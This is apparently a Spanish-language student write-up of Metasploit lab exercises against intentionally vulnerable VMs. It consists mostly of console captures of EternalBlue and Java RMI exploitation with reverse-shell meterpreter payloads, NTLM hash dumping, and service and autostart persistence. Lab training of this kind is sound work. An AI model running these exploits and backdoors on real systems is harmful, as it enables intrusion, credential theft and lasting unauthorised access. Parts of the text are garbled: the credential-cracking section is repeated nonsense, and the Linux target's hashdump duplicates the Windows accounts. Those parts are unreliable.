EJERCICIOS INTRODUCCIÓN A LA POST-EXPLOTACIÓN Y PERSISTENCIA

Prerrequisitos Kali Linux Windowsploitable Metasploitable2

Ejercicio 1 - Metasploit

Crear un workspace para la siguiente auditoría con el nombre Windowsploitable.

Explotar la vulnerabilidad EternalBlue usando un payload meterpreter.

Volcar los hashes con comando meterpreter, o módulo de post-explotación de ser necesario.

Comprobar que las credenciales estan añadidas a nuestro workspace.

Crackear los hashes almacenados usando el módulo destinado a ello.

Hacer persistencia y demostrar su funcionamiento reiniciando el sistema.

Ejercicio 2 - Metasploit

Crear un workspace para la siguiente auditoría con el nombre Metasploitable2.

Explotar la vulnerabilidad Java_RMI usando un payload meterpreter.

Volcar los hashes con comando meterpreter, o módulo de post-explotación de ser necesario.

Comprobar que las credenciales estan añadidas a nuestro workspace.

Crackear los hashes almacenados usando el módulo destinado a ello.

Hacer persistencia y demostrar su funcionamiento reiniciando el sistema.

Ejercicio1 Metasploit

Creo workspace...

Exploto la vulnerabilidad eternalblue con el payload meterpreter...

```
msf6 > search CVE-2017-0144
Matching Modules
                                            Disclosure Date Rank Check Descripti
  # Name
  0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14
                                                           average Yes
                                                                           MS17-010
EternalBlue SMB Remote Windows Kernel Pool Corruption
 1 auxiliary/scanner/smb/smb_ms17_010
                                                            normal No
                                                                          MS17-010
SMB RCE Detection
  2 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14
                                                           great Yes SMB DOUBL
EPULSAR Remote Code Execution
Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/
<u>msf6</u> >
```

```
File Actions Edit View Help
msf6 exploit(windows/smb/smb_doublepulsar_rce) > options
Module options (exploit/windows/smb/smb_doublepulsar_rce):
          Current Setting Required Description
   RHOSTS 10.0.2.101
                                     The target host(s), see https://docs.metasploit.co
                           yes
                                     m/docs/using-metasploit/basics/using-metasploit.ht
                                     The SMB service port (TCP)
  RPORT 445
                           yes
Payload options (windows/x64/meterpreter/reverse_tcp):
            Current Setting Required Description
   EXITFUNC thread
                                       Exit technique (Accepted: '', seh, thread, proce
                                       The listen address (an interface may be specifie
  LHOST
            10.0.2.5
                                       d)
  LPORT
           4444
                                       The listen port
                             yes
Exploit target:
  Id Name
  0 Execute payload (x64)
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/smb_doublepulsar_rce) >
```

No va, pruebo con otro...

```
Module options (exploit/windows/smb/ms17_010_eternalblue):
   Name
                    Current Setting Required Description
                                                   The target host(s), see https://docs.metasploit.com/docs/
   RHOSTS
                    10.0.2.101
                                        ves
                                                   using-metasploit/basics/using-metasploit.html
                                                   The target port (TCP)
(Optional) The Windows domain to use for authentication.
Only affects Windows Server 2008 R2, Windows 7, Windows E
   RPORT
                    445
                                        yes
   SMBDomain
                                                   mbedded Standard 7 target machines.
                                                   (Optional) The password for the specified username
   SMBPass
                                        по
                                                   (Optional) The username to authenticate as
   SMBUser
   VERIFY ARCH
                                                   Check if remote architecture matches exploit Target. Only
                    true
                                        ves
                                                    affects Windows Server 2008 R2, Windows 7, Windows Embed
                                                   ded Standard 7 target machines.
                                                   Check if remote OS matches exploit Target. Only affects W
   VERIFY_TARGET true
                                        ves
                                                   indows Server 2008 R2, Windows 7, Windows Embedded Standa
                                                   rd 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
              Current Setting Required Description
                                             Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)
   EXITFUNC
              thread
               10.0.2.5
   LHOST
                                  yes
   LPORT
              4444
                                              The listen port
                                  ves
```

Consigo entrar...

Volcar los hashes...

```
[+] 10.0.2.101:445 - =-=-=-=

[+] 10.0.2.101:445 - =-=-=-=

[+] 10.0.2.101:445 - =-=-=-=

[*] Meterpreter session 2 open

meterpreter > hashdump
```

```
meterpreter > hashdump
Adminrador:500:aad3b435b51404eeaad3b435b51404ee:35c3a8558c28708f926e58ea7b8a6dc6:::
bob:1003:aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:35fb78631c45b1c1406ea324a945fc12:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
master:1000:aad3b435b51404eeaad3b435b51404ee:56de775b27edc2b52183304666138c13:::
meterpreter > ■
```

Pongo en background la sesión...

```
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae93
master:1000:aad3b435b51404eeaad3b435b51404ee:56de775b27edc2b5
meterpreter > bg
[*] Backgrounding session 2 ...
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Para comprobar que nos ha guardado los hashes...

```
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:a5fb/8631c4
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b7
master:1000:aad3b435b51404eeaad3b435b51404ee:56de775b27edc2b5218
meterpreter > bg
[*] Backgrounding session 2 ...
msf6 exploit(windows/smb/ms17_010_eternalblue) > creds
```

Vuelvo a la sesión...

```
Id Name Type Information Commeterpreter x64/windows NT AUTHORITY\SYSTEM @ HETEAM 1

msf6 exploit(windows/smb/ms17_010_eternalblue) > session -i 2
[-] Unknown command: session
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
```

Craquear los credenciales...

```
| The "creds kerberos command requires the "kiwi" extension to be loaded (run: 'load kiwi')
| The "creds kerberos command requires the "kiwi" extension to be loaded (run: 'load kiwi')
| The "creds kerberos command requires the "kiwi" extension to be loaded (run: 'load kiwi')
| Loading extension kiwi ...
| Letters | Load kiwi | Loading extension kiwi ...
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At a Vie, At 'Lanour' | Coe.eo)
| Letters | The "At 'Lanour' | Coe.eo)
| Letters | The "
```

Persistencia...intentar mantener la sesión, que no nos echen...

Buscando el exploit de la persistencia...

```
meterpreter > bg
[*] Backgrounding session 2 ...
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows persistence
```

```
msf6 exploit(
                                                                    ) > search windows persistence
Matching Modules
                                                                                            Disclosure Date Rank
                                                                                                                                      Check Description
         exploit/windows/local/ps_wmi_exec
exploit/windows/local/vss_persistence
                                                                                                                                                 Authenticated WMI Exec via Powershell
Persistent Payload in Windows Volume Sh
                                                                                            2012-08-19
                                                                                            2011-10-21
         post/windows/manage/sshkey_persistence
post/windows/manage/sticky_keys
exploit/windows/local/wmi_persistence
post/windows/gather/enum_ad_managedby_groups
                                                                                                                                                 SSH Key Persistence
Sticky Keys Persistence Module
WMI Event Subscription Persistence
Windows Gather Active Directory Managed
         exploit/wi
post/windo
                                                                                            2017-06-06
6 post/windows/manage/persistence_exe
nstaller
                                                                                                                      normal
                                                                                                                                                 Windows Manage Persistent EXE Payload I
7 exploit/windows/local/s4u_persistence
yload Installer_____
                                                                                                                                                  Windows Manage User Level Persistent Pa
                                                                                            2013-01-02
                                                                                                                                      No
8 exploit/windows/local/persistence
load Installer
                                                                                            2011-10-19
                                                                                                                                                         ws Persistent Registry Startup Pay
                                                                                                                                                             Persistent Service Installer
Registry Only Persistence
                                /local/persistence_service 2018-10-20
s/local/registry_persistence 2015-07-01
s/local/persistence_image_exec_options 2008-06-28
         exploit/
                                                                                                                                                          Windowsploitable [Corriendo] -...
Interact with a module by name or index. For example info 11, use 11 or use exploit/windows/local/pe
msf6 exploit(windows
```

Le meto como parámetro la sesión...

```
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(
                                                           ) > options
Module options (exploit/windows/local/persistence_service):
                             Current Setting Required Description
   REMOTE_EXE_NAME
REMOTE_EXE_PATH
RETRY_TIME
                                                   no The remote victim name. Random string as default.
                                                                The remote victim exe path to run. Use temp directory as default. The retry time that shell connect failed. 5 seconds as default.
                                                                The description of service. Random string as default. The name of service. Random string as default. The session to run this module on
   SERVICE_DESCRIPTION
   SERVICE_NAME
   SESSION
Payload options (windows/meterpreter/reverse_tcp):
               Current Setting Required Description
                                                  Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)
The listen port
   EXITFUNC process
   LHOST 10.0.2.5
LPORT 4444
                                     yes
yes
Exploit target:
   Id Name
   0 Windows
View the full module info with the info, or info -d command.
msf6 exploit(
msf6 exploit(
                                                    ervice) >
```

Consigo entrar recuperando...

```
View the full module info with the info, or info -d command.

msf6 exploit(windows/local/persistence_service) > exploit

[*] Started reverse TCP handler on 10.0.2.5:4444

[*] Running module against HETEAM

[+] Meterpreter service exe written to C:\Windows\TEMP\drchHksL.exe

[*] Creating service mVSjlLLQ

[*] Cleanup Meterpreter RC File: /root/.msf4/logs/persistence/HETEAM_20240301.4011/HETEAM_20240301.4011.rc

[*] Sending stage (175686 bytes) to 10.0.2.101

[*] Meterpreter session 3 opened (10.0.2.5:4444 → 10.0.2.101:49165) at 2024-03-01 20:40:48 +0100

meterpreter > ■
```

Ya solamente quedaría encender la máquina de nuevo para ver que hay persistencia.

Ejercicio 2 - Metasploit

Crear un workspace para la siguiente auditoría con el nombre Metasploitable2.

Explotar la vulnerabilidad Java_RMI usando un payload meterpreter.

Volcar los hashes con comando meterpreter, o módulo de post-explotación de ser necesario.

Comprobar que las credenciales estan añadidas a nuestro workspace.

Crackear los hashes almacenados usando el módulo destinado a ello.

Hacer persistencia y demostrar su funcionamiento reiniciando el sistema.

```
msf6 > workspace -a metaesploitable2
[*] Added workspace: metaesploitable2
[*] Workspace: metaesploitable2
msf6 >
```

```
msf6 > search Java_RMI
Matching Modules
   # Name
                                                             Disclosure Date Rank
                                                                                             Check Description
   0 auxiliary/gather/java_rmi_registry
                                                                                                     Java RMI Regist
                                                                                normal
                                                                                             No
ry Interfaces Enumeration
   1 exploit/multi/misc/java_rmi_server
                                                             2011-10-15
                                                                                             Yes
                                                                                                     Java RMI Server
 Insecure Default Configuration Java Code Execution
 2 auxiliary/scanner/misc/java_rmi_server
Insecure Endpoint Code Execution Scanner
                                                             2011-10-15
                                                                                normal
                                                                                                     Java RMI Server
                                                                                             No
3 exploit/multi/browser/java_rmi_connection_impl 2010-03-31
ionImpl Deserialization Privilege Escalation
                                                                                excellent No
                                                                                                     Java RMIConnect
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi
```

```
Module options (exploit/multi/misc/java_rmi_server):
   Name
              Current Setting Required Description
                                         Time that the HTTP Server will wait for the payload request
   HTTPDELAY
             10
                               ves
   RHOSTS
              10.0.2.4
                                         The target host(s), see https://docs.metasploit.com/docs/usin
                               ves
                                         g-metasploit/basics/using-metasploit.html
   RPORT
              1099
                               yes
                                         The target port (TCP)
   SRVHOST
              0.0.0.0
                                         The local host or network interface to listen on. This must b
                               yes
                                         e an address on the local machine or 0.0.0.0 to listen on all
                                          addresses.
  SRVPORT
              8080
                               ves
                                         The local port to listen on.
                                         Negotiate SSL for incoming connections
              false
   SSLCert
                               no
                                         Path to a custom SSL certificate (default is randomly generat
                                         ed)
  URIPATH
                               no
                                         The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
         Current Setting Required Description
   Name
   LHOST
         10.0.2.5
                                     The listen address (an interface may be specified)
                           ves
   LPORT
         4444
                           yes
                                     The listen port
```

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 10.0.2.5:4444

[*] 10.0.2.4:1099 - Using URL: http://10.0.2.5:8080/x3AfVluKi

[*] 10.0.2.4:1099 - Server started.

[*] 10.0.2.4:1099 - Sending RMI Header...

[*] 10.0.2.4:1099 - Sending RMI Call...

[*] 10.0.2.4:1099 - Replied to request for payload JAR

[*] Sending stage (58829 bytes) to 10.0.2.4

[*] Meterpreter session 1 opened (10.0.2.5:4444 → 10.0.2.4:54459) at 2024-03-02 11:09:53 +0100

meterpreter > ■
```

Bajo los hashes...

```
meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:35c3a8558c28708f926e58ea7b8a6dc6:::
bob:1003:aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:a5fb78631c45b1c1406ea324a945fc12:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
master:1000:aad3b435b51404eeaad3b435b51404ee:56de775b27edc2b52183304666138c13:::
meterpreter >
```

Comprobamos que están añadidas a nuestro workspace...

Los craqueo...

Persistencia...

```
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/misc/java_rmi_server) >
```

```
msf6 exploit(
                                      r) > search linux persistence
Matching Modules
                                                          Disclosure Date Rank
                                                                                      Check Descriptio
  # Name
  0 exploit/linux/local/apt_package_manager_persistence 1999-03-09
                                                                                             APT Packag
 Manager Persistenc
  1 exploit/linux/local/autostart_persistence
                                                          2006-02-13
                                                                           excellent No
                                                                                             Autostart
Desktop Item Persistence
2 exploit/linux/local/bash_profile_persistence
                                                          1989-06-08
                                                                           normal
                                                                                      No
                                                                                             Bash Profi
   3 exploit/linux/local/cron_persistence
                                                          1979-07-01
                                                                                             Cron Persi
  4 post/linux/manage/sshkey_persistence
                                                                           excellent No
                                                                                             SSH Key Pe
   5 exploit/linux/local/service_persistence
                                                          1983-01-01
                                                                                             Service Pe
  6 exploit/linux/local/yum_package_manager_persistence 2003-12-17
                                                                           excellent No
                                                                                             Yum Packag
 Manager Per
  7 exploit/linux/local/rc_local_persistence
                                                          1980-10-01
                                                                                             rc.local P
```

```
msf6 exploit(multi/misc/java_rmi_server) > use 1
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/local/autostart_persistence) > options
```

```
msf6 exploit(linux/local/autostart_persistence) > options
Module options (exploit/linux/local/autostart_persistence):
           Current Setting Required Description
  Name
  NAME
                                      Name of autostart entry
   SESSION 1
                                      The session to run this module on
                            yes
Payload options (cmd/unix/reverse_netcat):
          Current Setting Required Description
  Name
  LHOST 10.0.2.5
                                    The listen address (an interface may be specified)
                          yes
  LPORT 4444
                                    The listen port
                          yes
   **DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
  Id Name
   0
      Automatic
```

Le damos a exploit y si apagamos la metaesploitable y la volvemos a encender nos aparece de nuevo conectada.

040666/rw-rw-rw- 4096 dir 2024-02-28 23:01:02 +0100 tmp 040666/rw-rw-rw- 4096 dir 2010-04-28 06:06:37 +0200 usr 040666/rw-rw-rw- 4096 dir 2012-05-20 23:30:19 +0200 var 100666/rw-rw-rw- 1987288 fil 2008-04-10 18:55:41 +0200 vmlinuz meterpreter >